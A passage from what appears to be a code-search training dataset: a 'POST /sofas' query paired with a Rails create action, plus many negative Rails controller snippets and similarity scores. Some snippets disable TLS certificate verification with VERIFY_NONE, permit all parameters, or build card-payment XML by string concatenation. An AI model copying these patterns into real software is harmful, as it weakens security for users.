"def new\n @sim_staff = SimStaff.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sim_staff }\n end\n end",
"def new\n @info = Info.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @info }\n end\n end"
] | [
"0.71972376",
"0.6980302",
"0.6849228",
"0.6844881",
"0.6834041",
"0.6804704",
"0.67847145",
"0.675274",
"0.67492056",
"0.6741944",
"0.67276746",
"0.67176",
"0.6688618",
"0.6680484",
"0.66710734",
"0.66594124",
"0.66594124",
"0.6644803",
"0.66344327",
"0.662748",
"0.6625676",
"0.6619995",
"0.6619788",
"0.6618911",
"0.66062814",
"0.65982044",
"0.65982044",
"0.65982044",
"0.65982044",
"0.65982044",
"0.65982044",
"0.65982044",
"0.65982044",
"0.65956205",
"0.65833634",
"0.6579166",
"0.65789115",
"0.6578895",
"0.6578444",
"0.65747577",
"0.65710425",
"0.6561729",
"0.65614986",
"0.6558277",
"0.655206",
"0.6543543",
"0.6527427",
"0.6526694",
"0.6518424",
"0.6507681",
"0.6506821",
"0.650126",
"0.6499938",
"0.6499938",
"0.64936846",
"0.64899033",
"0.648652",
"0.6484131",
"0.64825827",
"0.6475433",
"0.64721394",
"0.6470383",
"0.64671063",
"0.64671063",
"0.64671063",
"0.6465912",
"0.64654285",
"0.6451452",
"0.6448121",
"0.64475447",
"0.644521",
"0.644424",
"0.644178",
"0.64323866",
"0.6429307",
"0.6426461",
"0.6426461",
"0.64200664",
"0.6417944",
"0.64172274",
"0.6413116",
"0.6413116",
"0.64122653",
"0.64043564",
"0.6401125",
"0.6394941",
"0.638691",
"0.6385347",
"0.638211",
"0.6379883",
"0.63796306",
"0.6378578",
"0.63771427",
"0.63729465",
"0.6371051",
"0.6367705",
"0.63675773",
"0.63662565",
"0.63634807",
"0.63627577"
] | 0.76449263 | 0 |
POST /sofas POST /sofas.xml | def create
@sofa = Sofa.new(params[:sofa])
respond_to do |format|
if @sofa.save
flash[:notice] = 'Sofa was successfully created.'
format.html { redirect_to(@sofa) }
format.xml { render :xml => @sofa, :status => :created, :location => @sofa }
else
format.html { render :action => "new" }
format.xml { render :xml => @sofa.errors, :status => :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def new\n @sofa = Sofa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sofa }\n end\n end",
"def create\n @director = Director.find(params[:director_id])\n @soaps = @director.soaps.create(soap_params)\n redirect_to director_path(@director)\n\n\n end",
"def create\n @tso = Tso.new(params[:tso])\n\n respond_to do |format|\n if @tso.save\n flash[:notice] = 'Tso was successfully created.'\n format.html { redirect_to(@tso) }\n format.xml { render :xml => @tso, :status => :created, :location => @tso }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tso.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post(xmldoc)\n headers = {'Content-Type' => 'text/xml'}\n check_response( @httpcli.post(@endpoint, xmldoc, headers) )\n end",
"def create\n @selecciones = Seleccion.where(\"cliente_id = ?\",usuario_actual.id)\n @peso_total = Seleccion.peso_total(usuario_actual.id)\n @precio_total = Seleccion.precio_total(usuario_actual.id)\n @tarjetas = usuario_actual.tdc\n \n #Cobro en el banco\n client = Savon::Client.new(\"http://localhost:3001/servicios/wsdl\")\n tdc = Tarjeta.where(\"id = ? AND cliente_id = ?\",params[:orden][:tarjeta_id],usuario_actual.id)\n total_pagar = params[:orden][:total]\n pago = '<Message>\n <Request>\n <numero_tdc>'+tdc.numero+'</numero_tdc>\n <nombre_tarjetahabiente>'+tdc.tarjetahabiente+'</nombre_tarjetahabiente>\n <fecha_vencimiento>'+tdc.mes_vencimiento+'/'+tdc.ano_vencimiento+'</fecha_vencimiento>\n <codigo_seguridad>'+tdc.codigo+'</codigo_seguridad>\n <tipo_tarjeta>'+tdc.tipo+'</tipo_tarjeta>\n <direccion_cobro>'+tdc.direccion+'</direccion_cobro>\n <total_pagar>'+total_pagar+'</total_pagar>\n <cuenta_receptora>'+cuenta_receptora+'</cuenta_receptora>\n </Request>\n </Message>'\n #response = client.request :verificar_pago, body: { \"value\" => pago } \n #if response.success?\n # data = response.to_hash[:verificar_pago_response][:value][:response].first\n # @respuesta = XmlSimple.xml_in(data)\n #end\n\n #NAMESPACE = 'pagotdc'\n #URL = 'http://localhost:8080/'\n #banco = SOAP::RPC::Driver.new(URL, NAMESPACE)\n #banco.add_method('verificar_pago', 'numero_tdc', 'nombre_tarjetahabiente', 'fecha_vencimiento', 'codigo_seguridad', 'tipo_tarjeta', 'direccion_cobro', 'total_pagar', 'cuenta_receptora')\n #\n \n #respuesta = banco.verificar_pago(tdc.numero, tdc.tarjetahabiente, tdc.mes_vencimiento.to_s+'/'+tdc.ano_vencimiento.to_s, tdc.codigo, tdc.tipo, params[:orden][:total], tdc.direccion)\n \n if true #respuesta.ack.eql?(0)\n params[:orden][:cliente_id] = usuario_actual.id\n params[:orden][:total] = Seleccion.precio_total(usuario_actual.id)\n params[:orden][:fecha_entrega] = \"0000-00-00\"\n @orden = Orden.new(params[:orden])\n \n if @orden.save\n @selecciones = Seleccion.where(\"cliente_id = ?\",usuario_actual.id)\n @selecciones.each do |seleccion|\n p = Producto.find(seleccion.producto_id)\n @venta = Venta.new(:producto_id=>p.id, \n :orden_id=>@orden.id,\n :categoria_id=>p.categoria_id, \n :cantidad=>seleccion.cantidad,\n :costo=>p.precio)\n @venta.save\n end\n \n Seleccion.vaciar_carro(usuario_actual.id)\n respond_to do |format|\n format.html { redirect_to ver_ordenes_path, notice: 'Orden generada correctamente.' }\n end\n else\n respond_to do |format|\n format.html { render action: \"new\" }\n end\n end\n else\n respond_to do |format|\n format.html { render action: \"new\", notice: respuesta.mensaje }\n end\n end\n end",
"def post_spoonacular\n # %encode ingredients to url\n encoded_ingr = URI.escape(@translated_recipe[:ingredients_list])\n # post call block :\n url = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/parseIngredients?includeNutrition=true\")\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(url)\n request[\"content-type\"] = \"application/x-www-form-urlencoded\"\n request[\"x-rapidapi-key\"] = ENV[\"X_RAPIDAPI_KEY\"]\n request[\"x-rapidapi-host\"] = \"spoonacular-recipe-food-nutrition-v1.p.rapidapi.com\"\n # body of the call with ingredients and servings\n request.body = \"ingredientList=#{encoded_ingr}&#{@recipe_hash[:servings]}\"\n # response\n response = http.request(request)\n end",
"def create(name=\"Default Name\", age=\"50\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <name>#{name}</name>\r\n <age>#{age}</age>\r\n </person>\"\r\n \r\n request = Net::HTTP::Post.new(@url)\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n \r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n response.body \r\n end",
"def create\n @solexame = Solexame.new(solexame_params)\n\n respond_to do |format|\n if @solexame.save\n flash[:notice] = 'Solicitação foi criado com sucesso.'\n format.html { redirect_to(@solexame) }\n format.xml { render :xml => @solexame, :status => :created, :location => @solexame }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @solexame.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post_xml(url, ls_data)\n uri = URI.parse(url)\n request = Net::HTTP::Post.new(uri.request_uri, HEADER_XML)\n request.body = ls_data\n request.basic_auth(@nsx_user, @nsx_password)\n response = Net::HTTP.start(uri.host, uri.port, :use_ssl => true,\n :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |https|\n https.request(request)\n end\n return response.body if check_response(response, 201)\n end",
"def create\n @spaethi = Spaethi.new(params[:spaethi])\n\n respond_to do |format|\n if @spaethi.save\n format.html { redirect_to @spaethi, notice: 'Spaethi was successfully created.' }\n format.json { render json: @spaethi, status: :created, location: @spaethi }\n else\n format.html { render action: \"new\" }\n format.json { render json: @spaethi.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @estatu = Estatu.new(params[:estatu])\n\n respond_to do |format|\n if @estatu.save\n format.html { redirect_to(@estatu, :notice => 'Registro creado correctamente.') }\n format.xml { render :xml => @estatu, :status => :created, :location => @estatu }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @estatu.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @socio_serasa = SocioSerasa.new(socio_serasa_params)\n\n respond_to do |format|\n if @socio_serasa.save\n format.html { redirect_to @socio_serasa, notice: 'Socio serasa was successfully created.' }\n format.json { render action: 'show', status: :created, location: @socio_serasa }\n else\n format.html { render action: 'new' }\n format.json { render json: @socio_serasa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sitio = Sitio.new(params[:sitio])\n\n respond_to do |format|\n if @sitio.save\n format.html { redirect_to(@sitio, :notice => 'Sitio was successfully created.') }\n format.xml { render :xml => @sitio, :status => :created, :location => @sitio }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @sitio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @nossos_servico = NossosServico.new(params[:nossos_servico])\n\n respond_to do |format|\n if @nossos_servico.save\n format.html { redirect_to(@nossos_servico, :notice => 'Nossos servico was successfully created.') }\n format.xml { render :xml => @nossos_servico, :status => :created, :location => @nossos_servico }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @nossos_servico.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @estagio = Estagio.new(params[:estagio])\n\n respond_to do |format|\n if @estagio.save\n flash[:notice] = 'Estagio was successfully created.'\n format.html { redirect_to(@estagio) }\n format.xml { render :xml => @estagio, :status => :created, :location => @estagio }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @estagio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create(name=\"Default name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Post.new(@url)\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n response.body\n end",
"def create\n @asos_station = AsosStation.new(asos_station_params)\n\n respond_to do |format|\n if @asos_station.save\n format.html { redirect_to @asos_station, notice: 'Asos station was successfully created.' }\n format.json { render action: 'show', status: :created, location: @asos_station }\n else\n format.html { render action: 'new' }\n format.json { render json: @asos_station.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @spi = Spi.new(spi_params)\n\n respond_to do |format|\n if @spi.save\n format.html { redirect_to @spi, notice: 'Spi was successfully created.' }\n format.json { render :show, status: :created, location: @spi }\n else\n format.html { render :new }\n format.json { render json: @spi.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @st_pi = StPi.new(params[:st_pi])\n\n respond_to do |format|\n if @st_pi.save\n flash[:notice] = 'PIS criado.'\n format.html { redirect_to(@st_pi) }\n format.xml { render :xml => @st_pi, :status => :created, :location => @st_pi }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @st_pi.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @senhas = Senha.new(params[:senha])\n\n respond_to do |format|\n if @senhas.save\n flash[:notice] = 'SENHA CADASTRADA COM SUCESSO.'\n format.html { redirect_to(senhas_path) }\n format.xml { render :xml => @senhas, :status => :created, :location => @senhas }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @senhas.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def process(xml)\n timeout(TIMEOUT) do\n url = URI.parse(webservices_url)\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n http.start {\n request = Net::HTTP::Post.new(url.to_s)\n request.body = xml\n response = http.request(request)\n response.body\n }\n end\n end",
"def send_request( xml )\n write( xml )\n read\n end",
"def post(uri, xml)\r\n req = Net::HTTP::Post.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def create\n @ref_sanatorium = Ref::Sanatorium.new(params[:ref_sanatorium])\n\n respond_to do |format|\n if @ref_sanatorium.save\n format.html { redirect_to ref_sanatoria_path, notice: I18n.t(:record_created) }\n format.json { render json: @ref_sanatorium, status: :created, location: @ref_sanatorium }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ref_sanatorium.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \n #@sitio = Sitio.find(params[:id]) \n @evento = Evento.create(params[:evento])\n @[email protected]\n\n #@evento = Evento.new(params[:evento])\n respond_to do |format|\n if @evento.save\n format.html { redirect_to(@evento, :notice => t('exito') ) }\n format.xml { render :xml => @evento, :status => :created, :location => @evento }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @evento.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @solicitud_servicio = SolicitudServicio.new(params[:solicitud_servicio])\n\n respond_to do |format|\n if @solicitud_servicio.save\n format.html { redirect_to @solicitud_servicio, notice: 'Solicitud servicio was successfully created.' }\n format.json { render json: @solicitud_servicio, status: :created, location: @solicitud_servicio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @solicitud_servicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n seth_server_rest.post_rest(\"data\", self)\n self\n end",
"def destroy\n @sofa = Sofa.find(params[:id])\n @sofa.destroy\n\n respond_to do |format|\n format.html { redirect_to(sofas_url) }\n format.xml { head :ok }\n end\n end",
"def post(resource, params)\n case resource\n when \"pedidos\", \"place_order\", \"new_order\" then url = \"/pedidos\"\n when \"envios\", \"shipping\" then url = \"/envios\"\n else url = \"/#{resource}\"\n end\n\n post_request(url, params)\n end",
"def create\n @sotr = Sotr.new(sotr_params)\n\n respond_to do |format|\n if @sotr.save\n format.html { redirect_to @sotr, notice: 'Sotr was successfully created.' }\n format.json { render :show, status: :created, location: @sotr }\n else\n format.html { render :new }\n format.json { render json: @sotr.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sabio = Sabio.new(params[:sabio])\n\n respond_to do |format|\n if @sabio.save\n format.html { redirect_to @sabio, notice: 'El Sabio a sido creado exitosamente.' }\n format.json { render json: @sabio, status: :created, location: @sabio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sabio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\r\n @salle = Salle.new(params[:salle])\r\n\r\n respond_to do |format|\r\n if @salle.save\r\n format.html { redirect_to @salle, notice: 'Salle was successfully created.' }\r\n format.json { render json: @salle, status: :created, location: @salle }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @salle.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n @solicitud = Solicitud.new(solicitud_params)\n\n respond_to do |format|\n if @solicitud.save\n format.html { redirect_to @solicitud, notice: \"Solicitud was successfully created.\" }\n format.json { render :show, status: :created, location: @solicitud }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @solicitud.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @socio = Socio.new(params[:socio])\n\n respond_to do |format|\n @socio.save\n format.html { redirect_to socios_url}\n end\n end",
"def create_thesis_with_whodunnit(user)\n sign_in user\n title = 'Spacecraft avoidance: a short'\n post '/thesis',\n params: {\n thesis: {\n title: title,\n abstract: 'Frook.',\n department_ids: departments(:one).id.to_s,\n degree_ids: degrees(:one).id.to_s,\n graduation_year: (Time.current.year + 1).to_s,\n graduation_month: 'September',\n files: fixture_file_upload('a_pdf.pdf', 'application/pdf')\n }\n }\n sign_out user\n end",
"def scando_params\n params.require(:scando).permit(:do_name, :do_description, :do_address, :do_phone, :do_fax)\n end",
"def create\n @socio = Socio.new(params[:socio])\n\n respond_to do |format|\n if @socio.save\n format.html { redirect_to @socio, :notice => 'Socio cadastrado com sucesso.' }\n format.json { render :json => @socio, :status => :created, :location => @socio }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @socio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @sa = Sa.new(params[:sa])\n\n respond_to do |format|\n if @sa.save\n format.html { redirect_to(@sa, :notice => 'Sa was successfully created.') }\n format.xml { render :xml => @sa, :status => :created, :location => @sa }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @sa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post_request(params, useSSL=false)\n # get a server handle\n port = (useSSL == true) ? 443 : 80\n http_server = Net::HTTP.new(API_HOST, port)\n http_server.use_ssl = useSSL\n \n # build a request\n http_request = Net::HTTP::Post.new(API_PATH_REST)\n http_request.form_data = params\n \n # get the response XML\n return http_server.start{|http| http.request(http_request)}.body\n end",
"def create\n @solicitante = Solicitante.new(solicitante_params)\n\n respond_to do |format|\n if @solicitante.save\n format.html { redirect_to @solicitante, notice: 'Solicitante was successfully created.' }\n format.json { render :show, status: :created, location: @solicitante }\n else\n format.html { render :new }\n format.json { render json: @solicitante.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @safra = Safra.new(params[:safra])\n\n respond_to do |format|\n if @safra.save\n format.html { redirect_to @safra }\n else\n format.html { render action: \"new\" }\n format.json { render json: @safra.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sotrudniki = Sotrudniki.new(params[:sotrudniki])\n\n respond_to do |format|\n if @sotrudniki.save\n format.html { redirect_to @sotrudniki, notice: 'Sotrudniki was successfully created.' }\n format.json { render json: @sotrudniki, status: :created, location: @sotrudniki }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sotrudniki.errors, status: :unprocessable_entity }\n end\n end\n end",
"def sendToTrufina(xml)\n puts \"Sending XML to #{domain}#{endpoint}:\\n\\n#{xml}\\n\\n\" if Trufina::Config.debug?\n \n # Connection Info\n api = Net::HTTP.new( domain, 443 )\n api.use_ssl = true\n api.verify_mode = OpenSSL::SSL::VERIFY_NONE # Prevent annoying warnings\n \n # Request info\n method_call = Net::HTTP::Post.new( endpoint, {'Content-Type' => 'text/xml'} )\n method_call.body = xml\n\n if Config.staging?\n method_call.basic_auth(Config.staging_access[:username], Config.staging_access[:password])\n end\n \n # OK, execute the actual call\n response = api.request(method_call)\n raise Exceptions::NetworkError.new(response.msg) unless response.is_a?(Net::HTTPSuccess)\n parseFromTrufina(response.body)\n end",
"def create\n @sinistro = Sinistro.new(sinistro_params)\n\n respond_to do |format|\n if @sinistro.save\n format.html { redirect_to @sinistro, notice: 'Sinistro was successfully created.' }\n format.json { render :show, status: :created, location: @sinistro }\n else\n format.html { render :new }\n format.json { render json: @sinistro.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @estagiarios = Estagiario.new(params[:estagiario])\n\n respond_to do |format|\n if @estagiarios.save\n flash[:notice] = 'ESTAGIÁRIO CADASTRADO COM SUCESSO.'\n format.html { redirect_to(@estagiarios) }\n format.xml { render :xml => @estagiarios, :status => :created, :location => @estagiarios }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @estagiarios.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @spielbegegnung = Spielbegegnung.new(params[:spielbegegnung])\n\n respond_to do |format|\n if @spielbegegnung.save\n format.html { redirect_to(@spielbegegnung, :notice => 'Spielbegegnung was successfully created.') }\n format.xml { render :xml => @spielbegegnung, :status => :created, :location => @spielbegegnung }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @spielbegegnung.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @statuspagamento = Statuspagamentoe.new(params[:statuspagamentoe])\n\n respond_to do |format|\n if @statuspagamento.save\n format.html { redirect_to @statuspagamento, notice: 'Statuspagamentoe was successfully created.' }\n format.json { render json: @statuspagamento, status: :created, location: @statuspagamento }\n else\n format.html { render action: \"new\" }\n format.json { render json: @statuspagamento.errors, status: :unprocessable_entity }\n end\n end\n end",
"def soap_params\n params.require(:soap).permit(:soap_name, :soap_age, :director_id)\n end",
"def create_station\n request = ['Enter station name: ']\n getting(request, :approve_station, :create_station!)\n end",
"def update\n @sofa = Sofa.find(params[:id])\n\n respond_to do |format|\n if @sofa.update_attributes(params[:sofa])\n flash[:notice] = 'Sofa was successfully updated.'\n format.html { redirect_to(@sofa) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sofa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @documentos_simposio = DocumentosSimposio.new(documentos_simposio_params)\n\n respond_to do |format|\n if @documentos_simposio.save\n format.html { redirect_to @documentos_simposio, notice: 'Documentos simposio was successfully created.' }\n format.json { render :show, status: :created, location: @documentos_simposio }\n else\n format.html { render :new }\n format.json { render json: @documentos_simposio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @srsaa = Srsaa.new(params[:srsaa])\n\n respond_to do |format|\n if @srsaa.save\n format.html { redirect_to :action => 'index' }\n format.json { render json: @srsaa, status: :created, location: @srsaa }\n else\n format.html { render action: \"new\" }\n format.json { render json: @srsaa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n params.permit!\n @silo = Silo.new(params[:silo])\n\n respond_to do |format|\n if @silo.save\n format.html { redirect_to(@silo, :notice => 'Silo was successfully created.') }\n format.xml { render :xml => @silo, :status => :created, :location => @silo }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @silo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post(path, params={})\n signature_params = params.values.any?{|value| value.respond_to?(:to_io)} ? {} : params\n request(:post, path, params.to_xml, signature_params)\n end",
"def create\n @solicitacao = Solicitacao.new(solicitacao_params)\n\n respond_to do |format|\n if @solicitacao.save\n format.html { redirect_to @solicitacao, notice: 'Solicitacao was successfully created.' }\n format.json { render :show, status: :created, location: @solicitacao }\n else\n format.html { render :new }\n format.json { render json: @solicitacao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @asos_datum = AsosDatum.new(asos_datum_params(asos_station))\n\n respond_to do |format|\n if @asos_datum.save\n format.html { redirect_to @asos_datum, notice: 'Asos datum was successfully created.' }\n format.json { render action: 'show', status: :created, location: @asos_datum }\n else\n format.html { render action: 'new' }\n format.json { render json: @asos_datum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n doc = Nokogiri::XML(request.body.read)\n cvNode = doc.xpath('elwak/checklisten_vorlage')\n cv = ChecklistenVorlage.new({\n objekt_id: cvNode.xpath('objekt_id').text.to_s, \n bezeichner: cvNode.xpath('bezeichner').text.to_s, \n version: cvNode.xpath('version').text.to_s.to_i, \n inaktiv: cvNode.xpath('inaktiv').text.to_s.to_bool \n })\n cv.save\n\n cvNode.xpath('checklisten_eintrags/checklisten_eintrag').each do |ceNode|\n ce = ChecklistenEintrag.new({\n checklisten_vorlage_id: cv.id,\n bezeichner: ceNode.xpath('bezeichner').text.to_s,\n was: ceNode.xpath('was').text.to_s,\n wann: ceNode.xpath('wann').text.to_s,\n typ: ceNode.xpath('typ').text.to_s.to_i,\n position: ceNode.xpath('position').text.to_s.to_i\n })\n ce.save\n end\n\n respond_to do |format|\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><success />'}\n end\n end",
"def create\n @asistencia = Asistencia.new(params[:asistencia])\n\n respond_to do |format|\n if @asistencia.save\n format.html { redirect_to(@asistencia, :notice => 'Asistencia fue creado exitosamente.') }\n format.xml { render :xml => @asistencia, :status => :created, :location => @asistencia }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @asistencia.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @osoba = Osoba.new(params[:osoba])\n\n if @osoba.save\n render json: @osoba, status: :created, location: @osoba\n else\n render json: @osoba.errors, status: :unprocessable_entity\n end\n end",
"def create\n @solicitud = Solicitud.new(solicitud_params)\n\n respond_to do |format|\n if @solicitud.save\n format.html { redirect_to @solicitud, notice: 'Solicitud was successfully created.' }\n format.json { render action: 'show', status: :created, location: @solicitud }\n else\n format.html { render action: 'new' }\n format.json { render json: @solicitud.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @simulado = Simulado.new(simulado_params)\n\n respond_to do |format|\n if @simulado.save\n format.html { redirect_to @simulado, notice: 'Simulado was successfully created.' }\n format.json { render :show, status: :created, location: @simulado }\n else\n format.html { render :new }\n format.json { render json: @simulado.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(params)\n http.post(\"/nfse\", { body: params }) do |response|\n respond_with_entity(response)\n end\n end",
"def create\n @soatseguro = Soatseguro.new(soatseguro_params)\n\n respond_to do |format|\n if @soatseguro.save\n format.html { redirect_to @soatseguro, notice: 'Soatseguro was successfully created.' }\n format.json { render :show, status: :created, location: @soatseguro }\n else\n format.html { render :new }\n format.json { render json: @soatseguro.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tipe_simpanan = TipeSimpanan.new(tipe_simpanan_params)\n\n respond_to do |format|\n if @tipe_simpanan.save\n format.html { redirect_to @tipe_simpanan, notice: 'Tipe simpanan was successfully created.' }\n format.json { render :show, status: :created, location: @tipe_simpanan }\n else\n format.html { render :new }\n format.json { render json: @tipe_simpanan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tiposproceso = Tiposproceso.new(params[:tiposproceso])\n\n respond_to do |format|\n if @tiposproceso.save\n format.html { redirect_to(@tiposproceso, :notice => 'Tiposproceso was successfully created.') }\n format.xml { render :xml => @tiposproceso, :status => :created, :location => @tiposproceso }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tiposproceso.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @solicitation = @representative.solicitations.new(params[:solicitation])\n\n respond_to do |format|\n if @solicitation.save\n flash[:notice] = 'Solicitation was successfully created.'\n format.html { redirect_to(representative_solicitations_path(@representative)) }\n format.xml { render :xml => @solicitation, :status => :created, :location => @solicitation }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @solicitation.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post\n resource.post(request, response)\n end",
"def create\n @tservicio = Tservicio.new(params[:tservicio])\n\n respond_to do |format|\n if @tservicio.save\n format.html { redirect_to(@tservicio, :notice => 'Tservicio was successfully created.') }\n format.xml { render :xml => @tservicio, :status => :created, :location => @tservicio }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tservicio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @plan_quirurgico = PlanQuirurgico.new(plan_quirurgico_params)\n @plan_quirurgico.servicios = params[:servicios]\n @plan_quirurgico.estatus = \"En Proceso\"\n puts params\n puts @plan_quirurgico.examen \n respond_to do |format|\n if @plan_quirurgico.save\n format.html { redirect_to @plan_quirurgico, notice: 'El plan quirurgico fue registrado exitosamente.' }\n format.json { render :show, status: :created, location: @plan_quirurgico }\n else\n format.html { render :new }\n format.json { render json: @plan_quirurgico.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @orc_uni_despesa = OrcUniDespesa.new(params[:orc_uni_despesa])\n\n respond_to do |format|\n if @orc_uni_despesa.save\n flash[:notice] = 'SALVO COM SUCESSO.'\n format.html { redirect_to(@orc_uni_despesa) }\n format.xml { render :xml => @orc_uni_despesa, :status => :created, :location => @orc_uni_despesa }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @orc_uni_despesa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @sim_staff = SimStaff.new(params[:sim_staff])\n\n respond_to do |format|\n if @sim_staff.save\n flash[:notice] = 'SimStaff was successfully created.'\n format.html { redirect_to(@sim_staff) }\n format.xml { render :xml => @sim_staff, :status => :created, :location => @sim_staff }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @sim_staff.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @silla = Silla.new(silla_params)\n\n respond_to do |format|\n if @silla.save\n format.html { redirect_to @silla, notice: 'Silla was successfully created.' }\n format.json { render :show, status: :created, location: @silla }\n else\n format.html { render :new }\n format.json { render json: @silla.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @estatuto = Estatuto.new(params[:estatuto])\n\n respond_to do |format|\n if @estatuto.save\n format.html { redirect_to @estatuto, notice: 'Estatuto was successfully created.' }\n format.json { render json: @estatuto, status: :created, location: @estatuto }\n else\n format.html { render action: \"new\" }\n format.json { render json: @estatuto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_xml_64(xml=:example_response)\n post \"/auth/saml/callback\", {'SAMLResponse' => load_xml_64(xml)}\nend",
"def create\n @spiel = Spiel.new(params[:spiel])\n\n respond_to do |format|\n if @spiel.save\n format.html { redirect_to(@spiel, :notice => 'Spiel was successfully created.') }\n format.xml { render :xml => @spiel, :status => :created, :location => @spiel }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @spiel.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @serie = Serie.new(params[:serie])\n\n respond_to do |format|\n if @serie.save\n format.html { redirect_to(niveis_ensino_serie_url(@nivel,@serie) , :notice => 'Serie cadastrado com sucesso.') }\n format.xml { render :xml => @serie, :status => :created, :location => @serie }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @serie.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @st_ipi = StIpi.new(params[:st_ipi])\n\n respond_to do |format|\n if @st_ipi.save\n flash[:notice] = 'IPI criado.'\n format.html { redirect_to(@st_ipi) }\n format.xml { render :xml => @st_ipi, :status => :created, :location => @st_ipi }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @st_ipi.errors, :status => :unprocessable_entity }\n end\n end\n end",
